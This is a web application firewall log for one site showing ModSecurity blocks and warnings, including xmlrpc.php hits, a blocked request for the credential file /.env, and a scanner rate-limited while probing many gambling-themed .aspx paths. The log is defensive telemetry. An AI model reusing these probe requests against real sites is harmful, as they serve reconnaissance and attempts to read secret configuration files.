[Fri May 01 23:44:29.175764 2026] [:error] [pid 24996:tid 25059] [client 211.21.61.245:36242] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afTKXSDBq9mMfUWQQeqOEgAAAJg"]
[Sat May 02 01:15:49.059434 2026] [:error] [pid 50214:tid 50220] [client 87.106.179.88:41498] [client 87.106.179.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "afTfxYs0pgrtfZkbhjOUjwAAAYI"]
[Sat May 02 01:29:19.977378 2026] [:error] [pid 24995:tid 25017] [client 167.172.55.225:56452] [client 167.172.55.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.55.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afTi7-dJG9WB_Q_ne0vQjwAAAFI"]
[Sat May 02 03:04:58.106276 2026] [:error] [pid 50214:tid 50232] [client 194.56.216.2:26945] [client 194.56.216.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.56.216.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afT5Wos0pgrtfZkbhjOn-wAAAY4"]
[Sat May 02 03:05:21.921597 2026] [:error] [pid 24997:tid 25063] [client 2.26.252.212:61910] [client 2.26.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new"] [unique_id "afT5cfOkHa4ScY5oo8wJTAAAAMc"]
[Sat May 02 03:06:07.172404 2026] [:error] [pid 24996:tid 25036] [client 114.119.142.124:50039] [client 114.119.142.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afT5nyDBq9mMfUWQQeqv3gAAAIg"], referer: http://www.gigfragments.org/
[Sat May 02 03:10:40.158832 2026] [:error] [pid 50214:tid 50232] [client 145.239.71.147:43448] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afT6sIs0pgrtfZkbhjOprwAAAY4"]
[Sat May 02 03:10:40.966111 2026] [:error] [pid 33791:tid 33804] [client 145.239.71.147:48446] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "afT6sG9ixd-moLycM9CdmgAAAAo"]
[Sat May 02 03:10:42.020447 2026] [:error] [pid 33791:tid 33797] [client 145.239.71.147:35450] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "afT6sm9ixd-moLycM9CdnQAAAAM"]
[Sat May 02 03:10:42.984373 2026] [:error] [pid 25085:tid 25111] [client 145.239.71.147:35456] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "afT6svuD8fWRiE0RX0E1sAAAAVQ"]
[Sat May 02 03:10:44.059737 2026] [:error] [pid 25085:tid 25112] [client 145.239.71.147:35464] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afT6tPuD8fWRiE0RX0E1tAAAAVU"]
[Sat May 02 03:10:45.103798 2026] [:error] [pid 25320:tid 25330] [client 145.239.71.147:35466] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afT6tVc3wJ-3-XaXB3pt3AAAAQc"]
[Sat May 02 03:10:46.100269 2026] [:error] [pid 33791:tid 33801] [client 145.239.71.147:35468] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afT6tm9ixd-moLycM9CdpQAAAAc"]
[Sat May 02 03:10:47.311646 2026] [:error] [pid 50214:tid 50238] [client 145.239.71.147:37486] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afT6t4s0pgrtfZkbhjOptwAAAZQ"]
[Sat May 02 03:10:48.628946 2026] [:error] [pid 50214:tid 50232] [client 145.239.71.147:37488] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afT6uIs0pgrtfZkbhjOpuQAAAY4"]
[Sat May 02 03:10:49.378948 2026] [:error] [pid 24997:tid 25075] [client 145.239.71.147:37496] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afT6ufOkHa4ScY5oo8wKBQAAANM"]
[Sat May 02 03:10:50.798613 2026] [:error] [pid 25320:tid 25335] [client 145.239.71.147:37504] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "afT6ulc3wJ-3-XaXB3pt5AAAAQw"]
[Sat May 02 03:10:51.387298 2026] [:error] [pid 25085:tid 25095] [client 145.239.71.147:37510] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "afT6u_uD8fWRiE0RX0E1vAAAAUQ"]
[Sat May 02 03:10:52.734979 2026] [:error] [pid 33791:tid 33803] [client 145.239.71.147:37512] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "afT6vG9ixd-moLycM9CduAAAAAk"]
[Sat May 02 03:10:53.154507 2026] [:error] [pid 24997:tid 25066] [client 145.239.71.147:37514] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afT6vfOkHa4ScY5oo8wKBgAAAMo"]
[Sat May 02 03:10:54.918870 2026] [:error] [pid 50214:tid 50230] [client 145.239.71.147:37524] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "afT6vos0pgrtfZkbhjOpzgAAAYw"]
[Sat May 02 03:10:55.457584 2026] [:error] [pid 25085:tid 25104] [client 145.239.71.147:37532] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afT6v_uD8fWRiE0RX0E1wgAAAU0"]
[Sat May 02 03:10:57.108997 2026] [:error] [pid 33791:tid 33809] [client 145.239.71.147:60686] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "afT6wW9ixd-moLycM9CdywAAAA8"]
[Sat May 02 03:10:57.477784 2026] [:error] [pid 33791:tid 33805] [client 145.239.71.147:60702] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afT6wW9ixd-moLycM9CdzgAAAAs"]
[Sat May 02 03:10:59.193155 2026] [:error] [pid 33791:tid 33813] [client 145.239.71.147:60708] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "afT6w29ixd-moLycM9Cd2gAAABM"]
[Sat May 02 03:10:59.760749 2026] [:error] [pid 25085:tid 25094] [client 145.239.71.147:60718] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "afT6w_uD8fWRiE0RX0E1xQAAAUM"]
[Sat May 02 03:11:01.107074 2026] [:error] [pid 33791:tid 33795] [client 145.239.71.147:60732] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "afT6xW9ixd-moLycM9Cd6QAAAAE"]
[Sat May 02 03:11:01.905128 2026] [:error] [pid 33791:tid 33811] [client 145.239.71.147:60746] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "afT6xW9ixd-moLycM9Cd8QAAABE"]
[Sat May 02 03:11:03.070483 2026] [:error] [pid 25320:tid 25345] [client 145.239.71.147:60758] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "afT6x1c3wJ-3-XaXB3pt7AAAARY"]
[Sat May 02 03:11:04.090492 2026] [:error] [pid 33791:tid 33798] [client 145.239.71.147:60774] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "afT6yG9ixd-moLycM9Cd_gAAAAQ"]
[Sat May 02 03:11:05.061949 2026] [:error] [pid 24995:tid 25022] [client 145.239.71.147:60778] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "afT6yedJG9WB_Q_ne0vbiwAAAFc"]
[Sat May 02 03:11:06.054124 2026] [:error] [pid 25320:tid 25333] [client 145.239.71.147:60782] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "afT6ylc3wJ-3-XaXB3pt7QAAAQo"]
[Sat May 02 03:11:07.015160 2026] [:error] [pid 50214:tid 50231] [client 145.239.71.147:57880] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "afT6y4s0pgrtfZkbhjOp3QAAAY0"]
[Sat May 02 03:11:08.546760 2026] [:error] [pid 25085:tid 25115] [client 145.239.71.147:57888] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "afT6zPuD8fWRiE0RX0E10AAAAVg"]
[Sat May 02 03:11:09.077714 2026] [:error] [pid 24995:tid 25006] [client 145.239.71.147:57902] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "afT6zedJG9WB_Q_ne0vbkgAAAEc"]
[Sat May 02 03:11:10.808513 2026] [:error] [pid 24996:tid 25033] [client 145.239.71.147:57910] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "afT6ziDBq9mMfUWQQeqxTwAAAIU"]
[Sat May 02 03:11:11.179547 2026] [:error] [pid 25320:tid 25339] [client 145.239.71.147:57918] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "afT6z1c3wJ-3-XaXB3pt9QAAARA"]
[Sat May 02 03:11:12.816305 2026] [:error] [pid 33791:tid 33807] [client 145.239.71.147:57932] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "afT60G9ixd-moLycM9CeMgAAAA0"]
[Sat May 02 03:11:13.231986 2026] [:error] [pid 33791:tid 33797] [client 145.239.71.147:57934] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "afT60W9ixd-moLycM9CeNwAAAAM"]
[Sat May 02 03:11:14.918334 2026] [:error] [pid 24997:tid 25079] [client 145.239.71.147:57938] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "afT60vOkHa4ScY5oo8wKJAAAANc"]
[Sat May 02 03:11:15.120939 2026] [:error] [pid 25320:tid 25341] [client 145.239.71.147:57950] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "afT601c3wJ-3-XaXB3puBAAAARI"]
[Sat May 02 03:11:17.097646 2026] [:error] [pid 24995:tid 25021] [client 145.239.71.147:35308] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "afT61edJG9WB_Q_ne0vblwAAAFY"]
[Sat May 02 03:11:17.135762 2026] [:error] [pid 24996:tid 25039] [client 145.239.71.147:35322] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "afT61SDBq9mMfUWQQeqxUwAAAIs"]
[Sat May 02 03:11:19.179580 2026] [:error] [pid 25320:tid 25347] [client 145.239.71.147:35336] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "afT611c3wJ-3-XaXB3puDQAAARg"]
[Sat May 02 03:11:19.192681 2026] [:error] [pid 50214:tid 50231] [client 145.239.71.147:35352] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "afT614s0pgrtfZkbhjOp8QAAAY0"]
[Sat May 02 03:11:21.098372 2026] [:error] [pid 24995:tid 25003] [client 145.239.71.147:35354] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "afT62edJG9WB_Q_ne0vbmgAAAEQ"]
[Sat May 02 03:11:21.190413 2026] [:error] [pid 24995:tid 25006] [client 145.239.71.147:35362] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "afT62edJG9WB_Q_ne0vbmwAAAEc"]
[Sat May 02 03:11:22.977866 2026] [:error] [pid 24995:tid 25016] [client 145.239.71.147:35370] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "afT62udJG9WB_Q_ne0vbnQAAAFE"]
[Sat May 02 03:11:23.050937 2026] [:error] [pid 25320:tid 25335] [client 145.239.71.147:35384] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "afT621c3wJ-3-XaXB3puDwAAAQw"]
[Sat May 02 03:11:24.983767 2026] [:error] [pid 25320:tid 25346] [client 145.239.71.147:35392] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "afT63Fc3wJ-3-XaXB3puFAAAARc"]
[Sat May 02 03:11:25.138804 2026] [:error] [pid 24995:tid 25011] [client 145.239.71.147:35398] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "afT63edJG9WB_Q_ne0vboQAAAEw"]
[Sat May 02 03:11:25.216602 2026] [:error] [pid 25320:tid 25325] [client 40.124.179.226:45516] [client 40.124.179.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 40.124.179.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afT63Vc3wJ-3-XaXB3puFgAAAQI"]
[Sat May 02 03:11:27.121232 2026] [:error] [pid 33791:tid 33813] [client 145.239.71.147:34156] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "afT6329ixd-moLycM9CeZQAAABM"]
[Sat May 02 03:11:27.198598 2026] [:error] [pid 33791:tid 33818] [client 145.239.71.147:34170] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "afT6329ixd-moLycM9CeaAAAABg"]
[Sat May 02 03:11:28.953006 2026] [:error] [pid 25085:tid 25096] [client 145.239.71.147:34172] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "afT64PuD8fWRiE0RX0E15gAAAUU"]
[Sat May 02 03:11:29.208832 2026] [:error] [pid 50214:tid 50218] [client 145.239.71.147:34174] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "afT64Ys0pgrtfZkbhjOqBQAAAYA"]
